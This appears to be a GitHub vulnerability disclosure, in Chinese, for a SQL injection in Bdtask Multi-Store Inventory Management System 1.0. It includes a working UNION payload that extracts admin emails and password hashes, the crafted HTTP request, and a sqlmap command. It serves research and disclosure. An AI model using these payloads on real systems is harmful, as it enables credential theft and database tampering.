kevin57545/CVE

GitHub: kevin57545/CVE

一个收集 CVE 漏洞研究与概念验证的仓库,提供详细的漏洞分析、复现步骤和利用 Payload。

Stars: 0 | Forks: 0

# CVE-PENDING: Bdtask Multi-Store Inventory Management System 1.0 - SQL 注入 ## 漏洞信息 | 字段 | 详情 | |-------------|--------------------------------------------| | **产品** | Multi-Store Inventory Management System | | **供应商** | Bdtask | | **版本** | 1.0 | | **类型** | SQL 注入 (CWE-89) | | **作者** | Kevin Chiang | | **日期** | 2026-05-04 | | **CVSS** | 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N) | ## 受影响的组件 - **文件**: `application/modules/accounts/controllers/Accounts.php` - **函数**: `accounts_report_search()` - **参数**: `dtpToDate` (POST) ## 描述 在 bdtask Multi-Store Inventory Management System 1.0 中发现了一个 SQL 注入漏洞。该漏洞影响文件 `application/modules/accounts/controllers/Accounts.php` 中的 `accounts_report_search()` 函数。对参数 `dtpToDate` 的操纵导致了 SQL 注入。该攻击可能被远程发起,但需要管理员级别的账户权限。其根本原因是通过 CodeIgniter 的 Query Builder `where()` 方法将用户输入直接进行字符串插值到 SQL 查询中,而未使用参数化查询: ``` // Accounts_model.php (simplified) $this->db->where('VDate BETWEEN "'.$dtpFromDate.'" and "'.$dtpToDate.'"'); ``` ## 复现步骤 ### 环境 - 操作系统: Ubuntu 22.04.5 LTS - Web 服务器: Apache 2.4.18 - PHP: 7.0.5 - 测试 URL: `http://localhost:8080/` ### 步骤(浏览器 — 无需额外工具) 1. 在本地 XAMPP 环境中安装 Multi-Store Inventory Management System v1.0 2. 使用**管理员**账户登录 3. 导航至: **Accounts → Account Reports → General Ledger** image 4. 在报表表单中,从下拉菜单中选择任一 **GL Head**(选定的 GL code 值将作为 `cmbGLCode` 提交) 5. 将 **Transaction Head** 留空 6. 将 **From Date** 设置为 `2000-01-01` 7. 将 **To Date** 设置为以下 payload image 8. 点击 **Search** ## 概念验证 ### Payload — 基于 UNION 的(凭证提取) 将以下内容粘贴到 **To Date** 字段中: ``` 2099-01-01" UNION SELECT email COLLATE utf8_unicode_ci,0,0,password COLLATE utf8_unicode_ci,0,0,0 FROM user LEFT JOIN acc_transaction ON 0=1 WHERE "1"="1 ``` image **预期结果**: 报表将显示 `user` 表中管理员的电子邮件和 MD5 密码哈希值。 ### 易受攻击的 HTTP 请求 ``` POST /accounts/accounts/accounts_report_search HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data Cookie: ci_session=[your-session-id] cmbGLCode=40216&dtpFromDate=2000-01-01&dtpToDate=2099-01-01" UNION SELECT email COLLATE utf8_unicode_ci,0,0,password COLLATE utf8_unicode_ci,0,0,0 FROM user LEFT JOIN acc_transaction ON 0=1 WHERE "1"="1 ``` ### SQLmap 命令 ``` sqlmap -u "http://localhost:8080/accounts/accounts/accounts_report_search" \ --data="cmbGLCode=40216&dtpFromDate=2000-01-01&dtpToDate=2026-05-04" \ --cookie="ci_session=YOUR_SESSION_COOKIE" \ --level=3 --risk=2 \ --dbms=mysql \ --batch --dbs \ -p dtpToDate ``` ## 影响 经过身份验证的管理员攻击者可以: - 提取所有数据库内容,包括用户凭证 - 获取 MD5 哈希密码以进行离线破解 - 修改或删除任意数据库记录 - 可能通过 `INTO OUTFILE` 实现操作系统级别的文件写入 ## 供应商通知 | 日期 | 操作 | |------------|---------------------------| | 2026-05-04 | 通过电子邮件通知供应商 | | 2026-06-04 | 公开披露截止日期 | ## 参考 - 供应商主页: https://www.bdtask.com/ - VulDB 提交: (待定)
标签:Bdtask, Chaos, CISA项目, CodeIgniter, CVE-PENDING, CVE漏洞, CVSS 7.2, CWE-89, ERP系统, PHP安全, PNNL实验室, PoC, Proof of Concept, Web安全, 多门店库存管理系统, 库存管理系统, 情报收集, 暴力破解, 漏洞研究, 网络安全, 蓝队分析, 隐私保护, 高危漏洞